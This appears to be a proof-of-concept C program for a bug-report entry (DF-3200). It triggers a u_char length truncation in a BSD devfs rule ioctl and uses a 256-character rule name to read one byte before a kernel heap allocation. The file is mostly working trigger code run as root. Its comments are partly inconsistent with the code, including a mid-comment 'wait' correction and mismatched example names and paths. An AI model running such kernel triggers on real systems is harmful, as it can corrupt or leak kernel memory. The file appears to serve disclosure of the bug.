DF-3200 / trunc_namlen.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | /* * DF-3200 - u_char length truncation in struct devfs_rule. * * struct devfs_rule stores namlen/mntpointlen/linknamlen as u_char * (sys/sys/devfs_rules.h:53-59), but devfs_rule_alloc() assigns * len = strlen(...) with no bound -> lengths >= 256 are silently truncated. * * With a rule name of exactly 256 chars ending in '*' (e.g. 255*'a' + '*'): * rule->namlen = 256 & 0xff = 0 * and devfs_rule_create_link() evaluates * rule->name[rule->namlen - 1] == rule->name[(u_char)(0-1)] * == rule->name[255] -- wait: namlen is u_char 0, so * rule->namlen - 1 promotes to int -1 -> rule->name[-1]: * a one-byte heap OVER-READ before the kstrdup'd name allocation, and the * wildcard branch decision is taken on a byte that is NOT part of the rule. * * Observable: the pattern *ends* with '*', so with a correct namlen the code * would always take the '*' branch (alias name = linkname + node_name[255:] * -- itself a massive over-read). With the truncated namlen the branch * depends on heap garbage; in practice the plain branch is taken and the * alias /dev/TR appears with NO suffix -- proving namlen was truncated * (0, not 256) and hence that name[-1] was read out of bounds. * * Build: cc -static -O -o trunc_namlen trunc_namlen.c * Run : ./trunc_namlen (as root) */ #include <sys/ioctl.h> #include <limits.h> #include <sys/devfs_rules.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <err.h> int main(void) { struct devfs_rule_ioctl r; int fd, i; fd = open("/dev/devfs", O_RDWR); if (fd < 0) err(1, "open /dev/devfs"); memset(&r, 0, sizeof(r)); r.rule_type = DEVFS_RULE_NAME; r.rule_cmd = DEVFS_RULE_LINK; strlcpy(r.mntpoint, "*", sizeof(r.mntpoint)); /* name = 126 '*'s + "null" + 126 '*'s => strlen 256 (matches "null"), * namlen truncates to 0 => branch decision reads rule->name[-1] */ for (i = 0; i < 126; i++) r.name[i] = '*'; memcpy(r.name + 126, "null", 4); for (i = 130; i < 256; i++) r.name[i] = '*'; r.name[256] = '\0'; strlcpy(r.linkname, "t/TR", sizeof(r.linkname)); /* path-scoped: prevent self-match recursion */ printf("rule name strlen = %zu (namlen stored as u_char -> 0)\n", strlen(r.name)); if (ioctl(fd, DEVFS_RULE_ADD, &r) < 0) err(1, "DEVFS_RULE_ADD"); /* control: 255-char name (namlen=255, NOT truncated) -> name[254]=='*' * must take the wildcard branch for the same node */ memset(&r, 0, sizeof(r)); r.rule_type = DEVFS_RULE_NAME; r.rule_cmd = DEVFS_RULE_LINK; strlcpy(r.mntpoint, "*", sizeof(r.mntpoint)); for (i = 0; i < 125; i++) r.name[i] = '*'; memcpy(r.name + 125, "null", 4); for (i = 129; i < 255; i++) r.name[i] = '*'; r.name[255] = '\0'; strlcpy(r.linkname, "t/TRC", sizeof(r.linkname)); printf("control name strlen = %zu (namlen=255, not truncated)\n", strlen(r.name)); if (ioctl(fd, DEVFS_RULE_ADD, &r) < 0) err(1, "DEVFS_RULE_ADD control"); memset(&r, 0, sizeof(r)); strlcpy(r.mntpoint, "*", sizeof(r.mntpoint)); if (ioctl(fd, DEVFS_RULE_APPLY, &r) < 0) err(1, "DEVFS_RULE_APPLY"); sleep(2); printf("=== /dev/TR* ===\n"); fflush(stdout); if (system("ls -l /dev/t/ 2>&1") != 0) printf("(no TR alias)\n"); /* * If the wildcard branch HAD been taken for the 256-char rule (correct * namlen 256 => name[255]=='*'), "TR" would carry the OOB suffix read * from null's d_name+255. A plain "/dev/TR" while the 255-char control * rule produces a wildcard-branch alias proves the branch decision used * the truncated namlen, i.e. evaluated rule->name[-1]. */ printf("plain /dev/TR + wildcard /dev/TRC* => namlen==0 => name[-1] was read\n"); return 0; } |